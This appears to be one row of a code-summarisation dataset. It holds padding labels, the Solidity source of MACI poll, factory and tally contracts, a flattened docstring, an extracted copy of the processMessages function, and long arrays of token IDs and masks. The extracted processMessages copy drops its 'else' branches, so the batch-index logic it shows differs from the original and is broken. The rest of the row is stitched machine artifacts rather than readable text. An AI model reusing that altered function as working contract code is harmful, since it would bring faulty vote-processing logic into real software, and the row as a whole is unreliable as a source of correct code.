-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma experimental ABIEncoderV2;
pragma solidity ^0.7.2;
import { IMACI } from "./IMACI.sol";
import { Params } from "./Params.sol";
import { Hasher } from "./crypto/Hasher.sol";
import { Verifier } from "./crypto/Verifier.sol";
import { SnarkCommon } from "./crypto/SnarkCommon.sol";
import { SnarkConstants } from "./crypto/SnarkConstants.sol";
import { DomainObjs, IPubKey, IMessage } from "./DomainObjs.sol";
import { AccQueue, AccQueueQuinaryMaci } from "./trees/AccQueue.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { VkRegistry } from "./VkRegistry.sol";
import { EmptyBallotRoots } from "./trees/EmptyBallotRoots.sol";
contract MessageAqFactory is Ownable {
function deploy(uint256 _subDepth)
public
onlyOwner
returns (AccQueue) {
AccQueue aq = new AccQueueQuinaryMaci(_subDepth);
aq.transferOwnership(owner());
return aq;
}
}
contract PollDeploymentParams {
struct ExtContracts {
VkRegistry vkRegistry;
IMACI maci;
AccQueue messageAq;
}
}
/*
* A factory contract which deploys Poll contracts. It allows the MACI contract
* size to stay within the limit set by EIP-170.
*/
contract PollFactory is Params, IPubKey, IMessage, Ownable, Hasher, PollDeploymentParams {
MessageAqFactory public messageAqFactory;
function setMessageAqFactory(MessageAqFactory _messageAqFactory)
public
onlyOwner {
messageAqFactory = _messageAqFactory;
}
/*
* Deploy a new Poll contract and AccQueue contract for messages.
*/
function deploy(
uint256 _duration,
MaxValues memory _maxValues,
TreeDepths memory _treeDepths,
BatchSizes memory _batchSizes,
PubKey memory _coordinatorPubKey,
VkRegistry _vkRegistry,
IMACI _maci,
address _pollOwner
) public onlyOwner returns (Poll) {
uint256 treeArity = 5;
// Validate _maxValues
// NOTE: these checks may not be necessary. Removing them will save
// 0.28 Kb of bytecode.
// maxVoteOptions must be less than 2 ** 50 due to circuit limitations;
// it will be packed as a 50-bit value along with other values as one
// of the inputs (aka packedVal)
require(
_maxValues.maxMessages <= treeArity ** uint256(_treeDepths.messageTreeDepth) &&
_maxValues.maxMessages >= _batchSizes.messageBatchSize &&
_maxValues.maxMessages % _batchSizes.messageBatchSize == 0 &&
_maxValues.maxVoteOptions <= treeArity ** uint256(_treeDepths.voteOptionTreeDepth) &&
_maxValues.maxVoteOptions < (2 ** 50),
"PollFactory: invalid _maxValues"
);
AccQueue messageAq =
messageAqFactory.deploy(_treeDepths.messageTreeSubDepth);
ExtContracts memory extContracts;
// TODO: remove _vkRegistry; only PollProcessorAndTallyer needs it
extContracts.vkRegistry = _vkRegistry;
extContracts.maci = _maci;
extContracts.messageAq = messageAq;
Poll poll = new Poll(
_duration,
_maxValues,
_treeDepths,
_batchSizes,
_coordinatorPubKey,
extContracts
);
// Make the Poll contract own the messageAq contract, so only it can
// run enqueue/merge
messageAq.transferOwnership(address(poll));
// TODO: should this be _maci.owner() instead?
poll.transferOwnership(_pollOwner);
return poll;
}
}
/*
* Do not deploy this directly. Use PollFactory.deploy() which performs some
* checks on the Poll constructor arguments.
*/
contract Poll is
Params, Hasher, IMessage, IPubKey, SnarkCommon, Ownable,
PollDeploymentParams, EmptyBallotRoots {
// The coordinator's public key
PubKey public coordinatorPubKey;
uint256 public mergedStateRoot;
uint256 public coordinatorPubKeyHash;
// TODO: to reduce the Poll bytecode size, consider storing deployTime and
// duration in a mapping in the MACI contract
// The timestamp of the block at which the Poll was deployed
uint256 internal deployTime;
// The duration of the polling period, in seconds
uint256 internal duration;
function getDeployTimeAndDuration() public view returns (uint256, uint256) {
return (deployTime, duration);
}
// Whether the MACI contract's stateAq has been merged by this contract
bool public stateAqMerged;
// The commitment to the state leaves and the ballots. This is
// hash3(stateRoot, ballotRoot, salt).
// Its initial value should be
// hash(maciStateRootSnapshot, emptyBallotRoot, 0)
// Each successful invocation of processMessages() should use a different
// salt to update this value, so that an external observer cannot tell in
// the case that none of the messages are valid.
uint256 public currentSbCommitment;
uint256 internal numMessages;
function numSignUpsAndMessages() public view returns (uint256, uint256) {
uint numSignUps = extContracts.maci.numSignUps();
return (numSignUps, numMessages);
}
MaxValues public maxValues;
TreeDepths public treeDepths;
BatchSizes public batchSizes;
// Error codes. We store them as constants and keep them short to reduce
// this contract's bytecode size.
string constant ERROR_VK_NOT_SET = "PollE01";
string constant ERROR_SB_COMMITMENT_NOT_SET = "PollE02";
string constant ERROR_VOTING_PERIOD_PASSED = "PollE03";
string constant ERROR_VOTING_PERIOD_NOT_PASSED = "PollE04";
string constant ERROR_INVALID_PUBKEY = "PollE05";
string constant ERROR_MAX_MESSAGES_REACHED = "PollE06";
string constant ERROR_STATE_AQ_ALREADY_MERGED = "PollE07";
string constant ERROR_STATE_AQ_SUBTREES_NEED_MERGE = "PollE08";
uint8 private constant LEAVES_PER_NODE = 5;
event PublishMessage(Message _message, PubKey _encPubKey);
event MergeMaciStateAqSubRoots(uint256 _numSrQueueOps);
event MergeMaciStateAq(uint256 _stateRoot);
event MergeMessageAqSubRoots(uint256 _numSrQueueOps);
event MergeMessageAq(uint256 _messageRoot);
ExtContracts public extContracts;
/*
* Each MACI instance can have multiple Polls.
* When a Poll is deployed, its voting period starts immediately.
*/
constructor(
uint256 _duration,
MaxValues memory _maxValues,
TreeDepths memory _treeDepths,
BatchSizes memory _batchSizes,
PubKey memory _coordinatorPubKey,
ExtContracts memory _extContracts
) {
extContracts = _extContracts;
coordinatorPubKey = _coordinatorPubKey;
coordinatorPubKeyHash = hashLeftRight(_coordinatorPubKey.x, _coordinatorPubKey.y);
duration = _duration;
maxValues = _maxValues;
batchSizes = _batchSizes;
treeDepths = _treeDepths;
// Record the current timestamp
deployTime = block.timestamp;
}
/*
* A modifier that causes the function to revert if the voting period is
* not over.
*/
modifier isAfterVotingDeadline() {
uint256 secondsPassed = block.timestamp - deployTime;
require(
secondsPassed > duration,
ERROR_VOTING_PERIOD_NOT_PASSED
);
_;
}
function isAfterDeadline() public view returns (bool) {
uint256 secondsPassed = block.timestamp - deployTime;
return secondsPassed > duration;
}
/*
* Allows anyone to publish a message (an encrypted command and signature).
* This function also enqueues the message.
* @param _message The message to publish
* @param _encPubKey An epheremal public key which can be combined with the
* coordinator's private key to generate an ECDH shared key with which
* to encrypt the message.
*/
function publishMessage(
Message memory _message,
PubKey memory _encPubKey
) public {
uint256 secondsPassed = block.timestamp - deployTime;
require(
secondsPassed <= duration,
ERROR_VOTING_PERIOD_PASSED
);
require(
numMessages <= maxValues.maxMessages,
ERROR_MAX_MESSAGES_REACHED
);
require(
_encPubKey.x < SNARK_SCALAR_FIELD &&
_encPubKey.y < SNARK_SCALAR_FIELD,
ERROR_INVALID_PUBKEY
);
uint256 messageLeaf = hashMessageAndEncPubKey(_message, _encPubKey);
extContracts.messageAq.enqueue(messageLeaf);
numMessages ++;
emit PublishMessage(_message, _encPubKey);
}
function hashMessageAndEncPubKey(
Message memory _message,
PubKey memory _encPubKey
) public pure returns (uint256) {
uint256[5] memory n;
n[0] = _message.data[0];
n[1] = _message.data[1];
n[2] = _message.data[2];
n[3] = _message.data[3];
n[4] = _message.data[4];
uint256[5] memory m;
m[0] = _message.data[5];
m[1] = _message.data[6];
m[2] = _message.data[7];
m[3] = _message.data[8];
m[4] = _message.data[9];
return hash4([
hash5(n),
hash5(m),
_encPubKey.x,
_encPubKey.y
]);
}
/*
* The first step of merging the MACI state AccQueue. This allows the
* ProcessMessages circuit to access the latest state tree and ballots via
* currentSbCommitment.
*/
function mergeMaciStateAqSubRoots(
uint256 _numSrQueueOps,
uint256 _pollId
)
public
onlyOwner
isAfterVotingDeadline {
// This function can only be called once per Poll
require(!stateAqMerged, ERROR_STATE_AQ_ALREADY_MERGED);
if (!extContracts.maci.stateAq().subTreesMerged()) {
extContracts.maci.mergeStateAqSubRoots(_numSrQueueOps, _pollId);
}
emit MergeMaciStateAqSubRoots(_numSrQueueOps);
}
/*
* The second step of merging the MACI state AccQueue. This allows the
* ProcessMessages circuit to access the latest state tree and ballots via
* currentSbCommitment.
*/
function mergeMaciStateAq(
uint256 _pollId
)
public
onlyOwner
isAfterVotingDeadline {
// This function can only be called once per Poll after the voting
// deadline
require(!stateAqMerged, ERROR_STATE_AQ_ALREADY_MERGED);
require(extContracts.maci.stateAq().subTreesMerged(), ERROR_STATE_AQ_SUBTREES_NEED_MERGE);
extContracts.maci.mergeStateAq(_pollId);
stateAqMerged = true;
mergedStateRoot = extContracts.maci.getStateAqRoot();
// Set currentSbCommitment
uint256[3] memory sb;
sb[0] = mergedStateRoot;
sb[1] = emptyBallotRoots[treeDepths.voteOptionTreeDepth - 1];
sb[2] = uint256(0);
currentSbCommitment = hash3(sb);
emit MergeMaciStateAq(mergedStateRoot);
}
/*
* The first step in merging the message AccQueue so that the
* ProcessMessages circuit can access the message root.
*/
function mergeMessageAqSubRoots(uint256 _numSrQueueOps)
public
onlyOwner
isAfterVotingDeadline {
extContracts.messageAq.mergeSubRoots(_numSrQueueOps);
emit MergeMessageAqSubRoots(_numSrQueueOps);
}
/*
* The second step in merging the message AccQueue so that the
* ProcessMessages circuit can access the message root.
*/
function mergeMessageAq()
public
onlyOwner
isAfterVotingDeadline {
uint256 root = extContracts.messageAq.merge(treeDepths.messageTreeDepth);
emit MergeMessageAq(root);
}
/*
* Enqueue a batch of messages.
*/
function batchEnqueueMessage(uint256 _messageSubRoot)
public
onlyOwner
isAfterVotingDeadline {
extContracts.messageAq.insertSubTree(_messageSubRoot);
// TODO: emit event
}
/*
* @notice Verify the number of spent voice credits from the tally.json
* @param _totalSpent spent field retrieved in the totalSpentVoiceCredits object
* @param _totalSpentSalt the corresponding salt in the totalSpentVoiceCredit object
* @return valid a boolean representing successful verification
*/
function verifySpentVoiceCredits(
uint256 _totalSpent,
uint256 _totalSpentSalt
) public view returns (bool) {
uint256 ballotRoot = hashLeftRight(_totalSpent, _totalSpentSalt);
return ballotRoot == emptyBallotRoots[treeDepths.voteOptionTreeDepth - 1];
}
/*
* @notice Verify the number of spent voice credits per vote option from the tally.json
* @param _voteOptionIndex the index of the vote option where credits were spent
* @param _spent the spent voice credits for a given vote option index
* @param _spentProof proof generated for the perVOSpentVoiceCredits
* @param _salt the corresponding salt given in the tally perVOSpentVoiceCredits object
* @return valid a boolean representing successful verification
*/
function verifyPerVOSpentVoiceCredits(
uint256 _voteOptionIndex,
uint256 _spent,
uint256[][] memory _spentProof,
uint256 _spentSalt
) public view returns (bool) {
uint256 computedRoot = computeMerkleRootFromPath(
treeDepths.voteOptionTreeDepth,
_voteOptionIndex,
_spent,
_spentProof
);
uint256 ballotRoot = hashLeftRight(computedRoot, _spentSalt);
uint256[3] memory sb;
sb[0] = mergedStateRoot;
sb[1] = ballotRoot;
sb[2] = uint256(0);
return currentSbCommitment == hash3(sb);
}
/*
* @notice Verify the result generated of the tally.json
* @param _voteOptionIndex the index of the vote option to verify the correctness of the tally
* @param _tallyResult Flattened array of the tally
* @param _tallyResultProof Corresponding proof of the tally result
* @param _tallyResultSalt the respective salt in the results object in the tally.json
* @param _spentVoiceCreditsHash hashLeftRight(number of spent voice credits, spent salt)
* @param _perVOSpentVoiceCreditsHash hashLeftRight(merkle root of the no spent voice credits per vote option, perVOSpentVoiceCredits salt)
* @param _tallyCommitment newTallyCommitment field in the tally.json
* @return valid a boolean representing successful verification
*/
function verifyTallyResult(
uint256 _voteOptionIndex,
uint256 _tallyResult,
uint256[][] memory _tallyResultProof,
uint256 _spentVoiceCreditsHash,
uint256 _perVOSpentVoiceCreditsHash,
uint256 _tallyCommitment
) public view returns (bool){
uint256 computedRoot = computeMerkleRootFromPath(
treeDepths.voteOptionTreeDepth,
_voteOptionIndex,
_tallyResult,
_tallyResultProof
);
uint256[3] memory tally;
tally[0] = computedRoot;
tally[1] = _spentVoiceCreditsHash;
tally[2] = _perVOSpentVoiceCreditsHash;
return hash3(tally) == _tallyCommitment;
}
function computeMerkleRootFromPath(
uint8 _depth,
uint256 _index,
uint256 _leaf,
uint256[][] memory _pathElements
) internal pure returns (uint256) {
uint256 pos = _index % LEAVES_PER_NODE;
uint256 current = _leaf;
uint8 k;
uint256[LEAVES_PER_NODE] memory level;
for (uint8 i = 0; i < _depth; i ++) {
for (uint8 j = 0; j < LEAVES_PER_NODE; j ++) {
if (j == pos) {
level[j] = current;
} else {
if (j > pos) {
k = j - 1;
} else {
k = j;
}
level[j] = _pathElements[i][k];
}
}
_index /= LEAVES_PER_NODE;
pos = _index % LEAVES_PER_NODE;
current = hash5(level);
}
return current;
}
}
contract PollProcessorAndTallyer is
Ownable, SnarkCommon, SnarkConstants, IPubKey, PollDeploymentParams{
// Error codes
string constant ERROR_VOTING_PERIOD_NOT_PASSED = "PptE01";
string constant ERROR_NO_MORE_MESSAGES = "PptE02";
string constant ERROR_MESSAGE_AQ_NOT_MERGED = "PptE03";
string constant ERROR_INVALID_STATE_ROOT_SNAPSHOT_TIMESTAMP = "PptE04";
string constant ERROR_INVALID_PROCESS_MESSAGE_PROOF = "PptE05";
string constant ERROR_INVALID_TALLY_VOTES_PROOF = "PptE06";
string constant ERROR_PROCESSING_NOT_COMPLETE = "PptE07";
string constant ERROR_ALL_BALLOTS_TALLIED = "PptE08";
string constant ERROR_STATE_AQ_NOT_MERGED = "PptE09";
string constant ERROR_ALL_SUBSIDY_CALCULATED = "PptE10";
string constant ERROR_INVALID_SUBSIDY_PROOF = "PptE11";
// The commitment to the state and ballot roots
uint256 public sbCommitment;
// The current message batch index. When the coordinator runs
// processMessages(), this action relates to messages
// currentMessageBatchIndex to currentMessageBatchIndex + messageBatchSize.
uint256 public currentMessageBatchIndex;
// Whether there are unprocessed messages left
bool public processingComplete;
// The number of batches processed
uint256 public numBatchesProcessed;
// The commitment to the tally results. Its initial value is 0, but after
// the tally of each batch is proven on-chain via a zk-SNARK, it should be
// updated to:
//
// hash3(
// hashLeftRight(merkle root of current results, salt0)
// hashLeftRight(number of spent voice credits, salt1),
// hashLeftRight(merkle root of the no. of spent voice credits per vote option, salt2)
// )
//
// Where each salt is unique and the merkle roots are of arrays of leaves
// TREE_ARITY ** voteOptionTreeDepth long.
uint256 public tallyCommitment;
uint256 public tallyBatchNum;
uint256 public subsidyCommitment;
uint256 public rbi; // row batch index
uint256 public cbi; // column batch index
Verifier public verifier;
constructor(
Verifier _verifier
) {
verifier = _verifier;
}
modifier votingPeriodOver(Poll _poll) {
(uint256 deployTime, uint256 duration) = _poll.getDeployTimeAndDuration();
// Require that the voting period is over
uint256 secondsPassed = block.timestamp - deployTime;
require(
secondsPassed > duration,
ERROR_VOTING_PERIOD_NOT_PASSED
);
_;
}
/*
* Hashes an array of values using SHA256 and returns its modulo with the
* snark scalar field. This function is used to hash inputs to circuits,
* where said inputs would otherwise be public inputs. As such, the only
* public input to the circuit is the SHA256 hash, and all others are
* private inputs. The circuit will verify that the hash is valid. Doing so
* saves a lot of gas during verification, though it makes the circuit take
* up more constraints.
*/
function sha256Hash(uint256[] memory array) public pure returns (uint256) {
return uint256(sha256(abi.encodePacked(array))) % SNARK_SCALAR_FIELD;
}
/*
* Update the Poll's currentSbCommitment if the proof is valid.
* @param _poll The poll to update
* @param _newSbCommitment The new state root and ballot root commitment
* after all messages are processed
* @param _proof The zk-SNARK proof
*/
function processMessages(
Poll _poll,
uint256 _newSbCommitment,
uint256[8] memory _proof
)
public
onlyOwner
votingPeriodOver(_poll)
{
// There must be unprocessed messages
require(!processingComplete, ERROR_NO_MORE_MESSAGES);
// The state AccQueue must be merged
require(_poll.stateAqMerged(), ERROR_STATE_AQ_NOT_MERGED);
// Retrieve stored vals
( , , uint8 messageTreeDepth,) = _poll.treeDepths();
(uint256 messageBatchSize,, ) = _poll.batchSizes();
AccQueue messageAq;
(, , messageAq) = _poll.extContracts();
// Require that the message queue has been merged
uint256 messageRoot = messageAq.getMainRoot(messageTreeDepth);
require(messageRoot != 0, ERROR_MESSAGE_AQ_NOT_MERGED);
// Copy the state and ballot commitment and set the batch index if this
// is the first batch to process
if (numBatchesProcessed == 0) {
uint256 currentSbCommitment = _poll.currentSbCommitment();
sbCommitment = currentSbCommitment;
(, uint256 numMessages) = _poll.numSignUpsAndMessages();
uint256 r = numMessages % messageBatchSize;
if (r == 0) {
currentMessageBatchIndex =
(numMessages / messageBatchSize) * messageBatchSize;
} else {
currentMessageBatchIndex = numMessages;
}
if (currentMessageBatchIndex > 0) {
if (r == 0) {
currentMessageBatchIndex -= messageBatchSize;
} else {
currentMessageBatchIndex -= r;
}
}
}
bool isValid = verifyProcessProof(
_poll,
currentMessageBatchIndex,
messageRoot,
sbCommitment,
_newSbCommitment,
_proof
);
require(isValid, ERROR_INVALID_PROCESS_MESSAGE_PROOF);
{
(, uint256 numMessages) = _poll.numSignUpsAndMessages();
// Decrease the message batch start index to ensure that each
// message batch is processed in order
if (currentMessageBatchIndex > 0) {
currentMessageBatchIndex -= messageBatchSize;
}
updateMessageProcessingData(
_newSbCommitment,
currentMessageBatchIndex,
numMessages <= messageBatchSize * (numBatchesProcessed + 1)
);
}
}
function verifyProcessProof(
Poll _poll,
uint256 _currentMessageBatchIndex,
uint256 _messageRoot,
uint256 _currentSbCommitment,
uint256 _newSbCommitment,
uint256[8] memory _proof
) internal view returns (bool) {
( , , uint8 messageTreeDepth, uint8 voteOptionTreeDepth) = _poll.treeDepths();
(uint256 messageBatchSize,,) = _poll.batchSizes();
(uint256 numSignUps, ) = _poll.numSignUpsAndMessages();
(VkRegistry vkRegistry, IMACI maci, ) = _poll.extContracts();
// Calculate the public input hash (a SHA256 hash of several values)
uint256 publicInputHash = genProcessMessagesPublicInputHash(
_poll,
_currentMessageBatchIndex,
_messageRoot,
numSignUps,
_currentSbCommitment,
_newSbCommitment
);
// Get the verifying key from the VkRegistry
VerifyingKey memory vk = vkRegistry.getProcessVk(
maci.stateTreeDepth(),
messageTreeDepth,
voteOptionTreeDepth,
messageBatchSize
);
return verifier.verify(_proof, vk, publicInputHash);
}
/*
* Returns the SHA256 hash of the packed values (see
* genProcessMessagesPackedVals), the hash of the coordinator's public key,
* the message root, and the commitment to the current state root and
* ballot root. By passing the SHA256 hash of these values to the circuit
* as a single public input and the preimage as private inputs, we reduce
* its verification gas cost though the number of constraints will be
* higher and proving time will be higher.
*/
function genProcessMessagesPublicInputHash(
Poll _poll,
uint256 _currentMessageBatchIndex,
uint256 _messageRoot,
uint256 _numSignUps,
uint256 _currentSbCommitment,
uint256 _newSbCommitment
) public view returns (uint256) {
uint256 coordinatorPubKeyHash = _poll.coordinatorPubKeyHash();
uint256 packedVals = genProcessMessagesPackedVals(
_poll,
_currentMessageBatchIndex,
_numSignUps
);
(uint256 deployTime, uint256 duration) = _poll.getDeployTimeAndDuration();
uint256[] memory input = new uint256[](6);
input[0] = packedVals;
input[1] = coordinatorPubKeyHash;
input[2] = _messageRoot;
input[3] = _currentSbCommitment;
input[4] = _newSbCommitment;
input[5] = deployTime + duration;
uint256 inputHash = sha256Hash(input);
return inputHash;
}
/*
* One of the inputs to the ProcessMessages circuit is a 250-bit
* representation of four 50-bit values. This function generates this
* 250-bit value, which consists of the maximum number of vote options, the
* number of signups, the current message batch index, and the end index of
* the current batch.
*/
function genProcessMessagesPackedVals(
Poll _poll,
uint256 _currentMessageBatchIndex,
uint256 _numSignUps
) public view returns (uint256) {
(, uint256 maxVoteOptions) = _poll.maxValues();
(, uint256 numMessages) = _poll.numSignUpsAndMessages();
(uint8 mbs,,) = _poll.batchSizes();
uint256 messageBatchSize = uint256(mbs);
uint256 batchEndIndex = _currentMessageBatchIndex + messageBatchSize;
if (batchEndIndex > numMessages) {
batchEndIndex = numMessages;
}
uint256 result =
maxVoteOptions +
(_numSignUps << uint256(50)) +
(_currentMessageBatchIndex << uint256(100)) +
(batchEndIndex << uint256(150));
return result;
}
function updateMessageProcessingData(
uint256 _newSbCommitment,
uint256 _currentMessageBatchIndex,
bool _processingComplete
) internal {
sbCommitment = _newSbCommitment;
processingComplete = _processingComplete;
currentMessageBatchIndex = _currentMessageBatchIndex;
numBatchesProcessed ++;
}
function genSubsidyPackedVals(uint256 _numSignUps) public view returns (uint256) {
// TODO: ensure that each value is less than or equal to 2 ** 50
uint256 result =
(_numSignUps << uint256(100)) +
(rbi << uint256(50))+
cbi;
return result;
}
function genSubsidyPublicInputHash(
uint256 _numSignUps,
uint256 _newSubsidyCommitment
) public view returns (uint256) {
uint256 packedVals = genSubsidyPackedVals(_numSignUps);
uint256[] memory input = new uint256[](4);
input[0] = packedVals;
input[1] = sbCommitment;
input[2] = subsidyCommitment;
input[3] = _newSubsidyCommitment;
uint256 inputHash = sha256Hash(input);
return inputHash;
}
function updateSubsidy(
Poll _poll,
uint256 _newSubsidyCommitment,
uint256[8] memory _proof
)
public
onlyOwner
votingPeriodOver(_poll)
{
// Require that all messages have been processed
require(
processingComplete,
ERROR_PROCESSING_NOT_COMPLETE
);
(uint8 intStateTreeDepth,,,uint8 voteOptionTreeDepth) = _poll.treeDepths();
uint256 subsidyBatchSize = 5 ** intStateTreeDepth; // treeArity is fixed to 5
(uint256 numSignUps,) = _poll.numSignUpsAndMessages();
uint256 numLeaves = numSignUps + 1;
// Require that there are untalied ballots left
require(
rbi * subsidyBatchSize <= numLeaves,
ERROR_ALL_SUBSIDY_CALCULATED
);
require(
cbi * subsidyBatchSize <= numLeaves,
ERROR_ALL_SUBSIDY_CALCULATED
);
bool isValid = verifySubsidyProof(_poll,_proof,numSignUps, _newSubsidyCommitment);
require(isValid, ERROR_INVALID_SUBSIDY_PROOF);
subsidyCommitment = _newSubsidyCommitment;
increaseSubsidyIndex(subsidyBatchSize, numLeaves);
}
function increaseSubsidyIndex(uint256 batchSize, uint256 numLeaves) internal {
if (cbi * batchSize + batchSize < numLeaves) {
cbi++;
} else {
rbi++;
cbi = 0;
}
}
function verifySubsidyProof(
Poll _poll,
uint256[8] memory _proof,
uint256 _numSignUps,
uint256 _newSubsidyCommitment
) public view returns (bool) {
(uint8 intStateTreeDepth,,,uint8 voteOptionTreeDepth) = _poll.treeDepths();
(VkRegistry vkRegistry, IMACI maci, ) = _poll.extContracts();
// Get the verifying key
VerifyingKey memory vk = vkRegistry.getSubsidyVk(
maci.stateTreeDepth(),
intStateTreeDepth,
voteOptionTreeDepth
);
// Get the public inputs
uint256 publicInputHash = genSubsidyPublicInputHash(_numSignUps, _newSubsidyCommitment);
// Verify the proof
return verifier.verify(_proof, vk, publicInputHash);
}
/*
* Pack the batch start index and number of signups into a 100-bit value.
*/
function genTallyVotesPackedVals(
uint256 _numSignUps,
uint256 _batchStartIndex,
uint256 _tallyBatchSize
) public pure returns (uint256) {
// TODO: ensure that each value is less than or equal to 2 ** 50
uint256 result =
(_batchStartIndex / _tallyBatchSize) +
(_numSignUps << uint256(50));
return result;
}
function genTallyVotesPublicInputHash(
uint256 _numSignUps,
uint256 _batchStartIndex,
uint256 _tallyBatchSize,
uint256 _newTallyCommitment
) public view returns (uint256) {
uint256 packedVals = genTallyVotesPackedVals(
_numSignUps,
_batchStartIndex,
_tallyBatchSize
);
uint256[] memory input = new uint256[](4);
input[0] = packedVals;
input[1] = sbCommitment;
input[2] = tallyCommitment;
input[3] = _newTallyCommitment;
uint256 inputHash = sha256Hash(input);
return inputHash;
}
function tallyVotes(
Poll _poll,
uint256 _newTallyCommitment,
uint256[8] memory _proof
)
public
onlyOwner
votingPeriodOver(_poll)
{
// Require that all messages have been processed
require(
processingComplete,
ERROR_PROCESSING_NOT_COMPLETE
);
( , uint256 tallyBatchSize,) = _poll.batchSizes();
uint256 batchStartIndex = tallyBatchNum * tallyBatchSize;
(uint256 numSignUps,) = _poll.numSignUpsAndMessages();
// Require that there are untalied ballots left
require(
batchStartIndex <= numSignUps,
ERROR_ALL_BALLOTS_TALLIED
);
bool isValid = verifyTallyProof(
_poll,
_proof,
numSignUps,
batchStartIndex,
tallyBatchSize,
_newTallyCommitment
);
require(isValid, ERROR_INVALID_TALLY_VOTES_PROOF);
// Update the tally commitment and the tally batch num
tallyCommitment = _newTallyCommitment;
tallyBatchNum ++;
}
/*
* @notice Verify the tally proof using the verifiying key
* @param _poll contract address of the poll proof to be verified
* @param _proof the proof generated after processing all messages
* @param _numSignUps number of signups for a given poll
* @param _batchStartIndex the number of batches multiplied by the size of the batch
* @param _tallyBatchSize batch size for the tally
* @param _newTallyCommitment the tally commitment to be verified at a given batch index
* @return valid a boolean representing successful verification
*/
function verifyTallyProof(
Poll _poll,
uint256[8] memory _proof,
uint256 _numSignUps,
uint256 _batchStartIndex,
uint256 _tallyBatchSize,
uint256 _newTallyCommitment
) public view returns (bool) {
(uint8 intStateTreeDepth,,,uint8 voteOptionTreeDepth) = _poll.treeDepths();
(VkRegistry vkRegistry, IMACI maci, ) = _poll.extContracts();
// Get the verifying key
VerifyingKey memory vk = vkRegistry.getTallyVk(
maci.stateTreeDepth(),
intStateTreeDepth,
voteOptionTreeDepth
);
// Get the public inputs
uint256 publicInputHash = genTallyVotesPublicInputHash(
_numSignUps,
_batchStartIndex,
_tallyBatchSize,
_newTallyCommitment
);
// Verify the proof
return verifier.verify(_proof, vk, publicInputHash);
}
}
| Update the Poll's currentSbCommitment if the proof is valid. @param _poll The poll to update @param _newSbCommitment The new state root and ballot root commitment after all messages are processed @param _proof The zk-SNARK proof/ There must be unprocessed messages The state AccQueue must be merged Retrieve stored vals Require that the message queue has been merged Copy the state and ballot commitment and set the batch index if this is the first batch to process Decrease the message batch start index to ensure that each message batch is processed in order | function processMessages(
Poll _poll,
uint256 _newSbCommitment,
uint256[8] memory _proof
)
public
onlyOwner
votingPeriodOver(_poll)
{
require(!processingComplete, ERROR_NO_MORE_MESSAGES);
require(_poll.stateAqMerged(), ERROR_STATE_AQ_NOT_MERGED);
( , , uint8 messageTreeDepth,) = _poll.treeDepths();
(uint256 messageBatchSize,, ) = _poll.batchSizes();
AccQueue messageAq;
(, , messageAq) = _poll.extContracts();
uint256 messageRoot = messageAq.getMainRoot(messageTreeDepth);
require(messageRoot != 0, ERROR_MESSAGE_AQ_NOT_MERGED);
if (numBatchesProcessed == 0) {
uint256 currentSbCommitment = _poll.currentSbCommitment();
sbCommitment = currentSbCommitment;
(, uint256 numMessages) = _poll.numSignUpsAndMessages();
uint256 r = numMessages % messageBatchSize;
if (r == 0) {
currentMessageBatchIndex =
(numMessages / messageBatchSize) * messageBatchSize;
currentMessageBatchIndex = numMessages;
}
if (currentMessageBatchIndex > 0) {
if (r == 0) {
currentMessageBatchIndex -= messageBatchSize;
currentMessageBatchIndex -= r;
}
}
}
bool isValid = verifyProcessProof(
_poll,
currentMessageBatchIndex,
messageRoot,
sbCommitment,
_newSbCommitment,
_proof
);
require(isValid, ERROR_INVALID_PROCESS_MESSAGE_PROOF);
{
(, uint256 numMessages) = _poll.numSignUpsAndMessages();
if (currentMessageBatchIndex > 0) {
currentMessageBatchIndex -= messageBatchSize;
}
updateMessageProcessingData(
_newSbCommitment,
currentMessageBatchIndex,
numMessages <= messageBatchSize * (numBatchesProcessed + 1)
);
}
}
| 1,814,255 | [
1,
1891,
326,
19160,
1807,
783,
29603,
5580,
475,
309,
326,
14601,
353,
923,
18,
225,
389,
13835,
1021,
7672,
358,
1089,
225,
389,
2704,
29603,
5580,
475,
1021,
394,
919,
1365,
471,
26503,
352,
1365,
23274,
7682,
1839,
777,
2743,
854,
5204,
225,
389,
24207,
1021,
14164,
17,
13653,
9584,
14601,
19,
6149,
1297,
506,
26663,
2743,
1021,
919,
15980,
3183,
1297,
506,
5384,
10708,
4041,
5773,
12981,
716,
326,
883,
2389,
711,
2118,
5384,
5631,
326,
919,
471,
26503,
352,
23274,
471,
444,
326,
2581,
770,
309,
333,
353,
326,
1122,
2581,
358,
1207,
31073,
448,
326,
883,
2581,
787,
770,
358,
3387,
716,
1517,
883,
2581,
353,
5204,
316,
1353,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1207,
5058,
12,
203,
3639,
19160,
389,
13835,
16,
203,
3639,
2254,
5034,
389,
2704,
29603,
5580,
475,
16,
203,
3639,
2254,
5034,
63,
28,
65,
3778,
389,
24207,
203,
565,
262,
203,
565,
1071,
203,
565,
1338,
5541,
203,
565,
